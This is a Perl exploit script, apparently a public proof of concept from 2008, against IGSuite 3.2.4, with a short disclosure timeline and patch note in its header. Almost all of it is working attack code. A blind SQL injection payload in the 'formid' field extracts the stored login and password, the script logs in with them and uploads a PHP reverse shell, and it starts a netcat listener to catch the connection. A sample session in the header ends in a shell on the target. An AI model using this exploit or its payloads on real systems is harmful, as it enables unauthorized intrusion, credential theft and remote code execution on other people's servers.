#!/usr/bin/perl
#
# 05/18/2008 - IGSuite 3.2.4 Blind SQL Injection - k`sOSe
# 
# 05/21/2008 -  Vendor notified
# 05/23/2008 -  A patch was pushed via the igsuited daemon(not enabled by default)
# Fix: run igsuited --update-igsuite or upgrade to 3.2.5-beta.
# 
# Tested on IGSuite 3.2.4 on linux with MySQL, needs nc(in path).
# Drops a reverse shell, use http://pentestmonkey.net/tools/php-reverse-shell/
#
#
# cohelet ~ # ./igsploit.pl localhost /cgi-bin / ./php-reverse-shell.php 1234
# IGSploit 0.1 - k`sOSe
#
# [*] Abusing blind SQL injection: ksose=qwerty
# [*] Logging in with username `ksose', password `qwerty'...
# [I] Found `formid' -> 12141384631aX7I
# [I] Logged in!
# [*] Uploading shell..
# [I] Found `formid' -> 1214138463vOl5x
# [*] Requesting //Home/ksose/php-reverse-shell.php now, shell will spawn here...
# listening on [any] 1234 ...
# connect to [127.0.0.1] from localhost [127.0.0.1] 44758
# Linux cohelet 2.6.25-gentoo-r5 #1 SMP PREEMPT Sat Jun 21 11:32:15 CEST 2008 i686 Intel(R) Core(TM)2 CPU 6600 @ 2.40GHz GenuineIntel GNU/Linux
#  14:41:05 up 1 day,  2:52,  1 user,  load average: 0.51, 0.34, 0.52
#  USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
#  root     tty1      Sat11   21:33m  0.84s  0.02s /bin/login --
#  uid=81(apache) gid=81(apache) groups=81(apache)
#  sh: no job control in this shell
#  sh-3.2$

use warnings;
use strict;

print "IGSploit 0.1 - k`sOSe\n\n";
usage() unless(@ARGV>2);


use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;

my $ighost  = $ARGV[0];
my $igcgi  = $ARGV[1];
my $igpath  = $ARGV[2];
my $evilfile  = $ARGV[3];
my $rport  = $ARGV[4];
my $igurl  = 'http://' . $ighost . $igcgi;
my @chars  = ( '', '=', 'a'..'z', 0..9, 'A'..'Z', '-', '_', '@', ';', ':', ',', '.', ')' ,'(', '&', '/', '%', '$' );

my $count  = 1;
my $string  = '';

my $ua = LWP::UserAgent->new;  $ua->agent( "Mozilla/5.0" );
$ua->cookie_jar( HTTP::Cookies->new( ) );
$ua->timeout(5);



print "[*] Abusing blind SQL injection:   ";
$|=1;
while(1)
{
  for my $char( @chars )
  {
    if( defined( my $found = check_char( $count, $char ) ) )
    {
      if( $found eq '' )
      {
        upload_shell( split( '=', $string ) );
        exit;
      }
      $string .= $found;
      $count++;
      last;
    }
  }
}

sub upload_shell
{
  my ($username, $password) = @_;

  print "[*] Logging in with username `$username', password `$password'...\n";
  do_login( $username, $password );


  print "[*] Uploading shell..\n";
  my $formid = get_formid( $ua->get( "$igurl/filemanager?action=uploadfile&dir=/Home/$username&repid=&repapp=&order=nome" )->content );
  my $res = $ua->post(  "$igurl/filemanager",
        Content_Type  => 'multipart/form-data',
        Content    => [
            formid    => [undef, undef, Content => $formid],
            upfile    => [undef, ($evilfile =~ m/.+\/(.+)/g)[0], Content => slurp($evilfile)],
            newfilename  => [undef, undef, Content => $evilfile],
            submit8    => [undef, undef, Content => 'Conferma'],
            ]
        );


  if(qx(which nc 2>&1) !~ /^which:/)
  {
    print "[*] Requesting $igpath/Home/$username/" . ($evilfile =~ m/.+\/(.+)/g)[0] . " now, shell will spawn here...\n";

    my $pid = fork();
    if($pid)
    {
      sleep 2;
      my $res = $ua->get ( "http://$ighost$igpath/Home/$username/" . ($evilfile =~ m/.+\/(.+)/g)[0] );

      if(!$res->is_success && $res->status_line() !~ /^500 .*timeout/)
      {
        print "\n[W] Unexpected status code received -> " . $res->status_line . "\n";
      }

      waitpid($pid, 0); 
    }
    else
    {
      exec("`which nc` -v -l -p $rport");
    }
  }
  else
  {
    print "[W] Can't find netcat!\n";
    print "[*] File uploaded on http://$ighost$igpath/Home/$username/" . ($evilfile =~ m/.+\/(.+)/g)[0] . ", start your listener on port $rport and wget it\n";
  }
}

sub do_login
{
  my ($username, $password) = @_;
  
  my $formid = get_formid($ua->get( "$igurl/igsuite" )->content);

  my $res = $ua->post( "$igurl/igsuite", 
        {
          formid  => $formid,
          login  => $username,
          pwd  => $password,
          submit5  => 'Accedi',
        });
  die( "Can't login\n" )
    if( $res->content !~ /this application need a browser that support multi frame/ );

  # lies
  print "[I] Logged in!\n";

  return $formid;
}

sub get_formid
{
  my ($content) = @_;

  die( "Can't find formid value\n" )
     unless $content =~ /name="formid"\s+value="(.+?)"/;

  print "[I] Found `formid' -> $1\n";

  return $1;
}

sub slurp
{
  return do { 
      open(my $f, "<$_[0]") or die("opening `$_[0]': $!"); 
      local $/; 
      my $s=<$f>; 
      close $f;  
      $s 
    };
}

sub check_char
{
  my ($count, $char) = @_;

  my $res = $ua->post( "$igurl/igsuite",
        {
          formid =>  "1' OR (SELECT ".
              "MID(CONCAT(`login`, 0x3d, `passwd`), $count, 1) ".
              "FROM `users` LIMIT 0,1) = '$char",  
        });
  die ("Error: " . $res->status_line . "\n") unless ( $res->is_success );

  if($res->content =~ /IGSuite Error/)
  {
    print "\b$char";
    return undef;
  }
  elsif($res->status_line =~ /^(2\d+|3\d+)/)
  {
    print "\b$char  ";
    print "\n" if ($char eq '');
    return $char;
  }
  else
  {
    print "\n[!] " . $res->status_line . ":\n########\n\n" . $res->content . "\n########\n\n";
    die("[!] Failed, check cgi/docroot path.");
  }
}

sub usage
{
  die <<EOM;
Usage: $0 [host] [path to cgis] [path to igsuite docroot] [reverseshell] [reverseport]

Ex: $0 localhost /cgi-bin / ./php-reverse-shell.php 1234

EOM
}